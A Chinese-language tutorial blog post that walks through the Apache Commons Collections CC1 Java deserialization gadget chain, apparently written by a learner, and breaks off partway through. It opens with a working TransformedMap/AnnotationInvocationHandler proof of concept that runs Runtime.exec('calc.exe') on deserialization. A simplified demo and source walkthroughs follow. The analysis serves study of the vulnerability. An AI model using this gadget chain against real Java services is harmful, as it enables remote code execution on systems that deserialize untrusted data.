Java反序列化cc1利用链分析
之前一直在躲着java安全,反倒一直把精力放在php和python上,这次趁着暑假,打算把java从基础,到后续的反序列化利用的知识进行一个学习和记录,这个系列会从个人作为一个初学者和小白的视角对java的漏洞和利用链进行分析,尽可能去从底层逻辑挖掘。
cc1利用链是每个初学者都要去面对的分析,我个人搞清楚整个流程并不容易,我将从cc1链的demo讲起,一步一步到真正的poc,并讲清楚我一步一步解决各个问题的过程。
一般cc1利用链可以用到两种类进行触发:
TransformedMap和LazyMap
首先我们先来看TransformedMap如何实现利用链的实现
TransformedMap
Poc:
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Class[]{Runtime.class, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","test");
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class ,outerMap);
//序列化
FileOutputStream fos = new FileOutputStream("cc1");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(instance);
oos.close();
//反序列化
FileInputStream fis = new FileInputStream("cc1");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
}
上面是我们最终要得到的poc,接下来我们来分析是如何一步一步构造出来的,还是按照p神的思路,我们从一个demo入手:
demo
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class common1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}
这个简化后的demo会在调用outerMap对象的put方法时触发后面的一系列过程,从而运行指定的命令
这个过程涉及到几个接口和类:
TransformedMap
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可 以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);
其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。 我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类,从本质上讲,当对map进行操作时,会调用其的transform方法,用put举例,会将put进的元素作为参数传入,具体实现后面分析
Transformer
Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:
public interface Transformer {
public Object transform(Object input);
}
TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个“回调函数”,这个回调的参数是原始对象。
ConstantTransformer
ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个 对象,并在transform⽅法将这个对象再返回:
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。
InvokerTransformer
InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键。
在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
它在执行回调时会用反射的方法执行命令
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
ChainedTransformer
ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
通俗上来说,进行回调时,会将其构造时接收的数组遍历,进行回调,即将前一个回调返回的对象作为后一个回调的参数传入。
demo解释
有了对上面类的认识,这个demo就很好理解了:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
这一部分我们构建了一个Transformer数组,并将其作为参数传给了创建的ChainedTransformer对象,ChainedTransformer对象在执行回调方法时,会先执行 (new ConstantTransformer(Runtime.getRuntime())).transform()方法返回一个Runtime对象,将其作为参数传入,相当于执行(new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"}).transform(Runtime对象),之后通过反射执行了exec方法
接下来,我们考虑如何触发ChainedTransformer的回调:
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
outerMap.put("test", "xxxx");
将实例化的ChainedTransformer对象传入,去包装innerMap,最后通过put方法进行触发。
但put方法是如何触发的呢?我们跟一下源码:

可以看到,在decorate静态方法中返回了一个TransformedMap实例,明显看出这也是一个单例模式,构造方法中将传入的keyTransformer, valueTransformer赋给成员变量
我们跟一下put方法:

调用了transformKey和transformValue,再跟一下这两个方法

很显然,它对用valueTransformer对传入的object进行了回调,相当于在demo中的:
(new ChainedTransformer(transformers)).transform(‘xxxx’)
到这,demo如何触发的分析结束,那么poc和demo中的差异到底是什么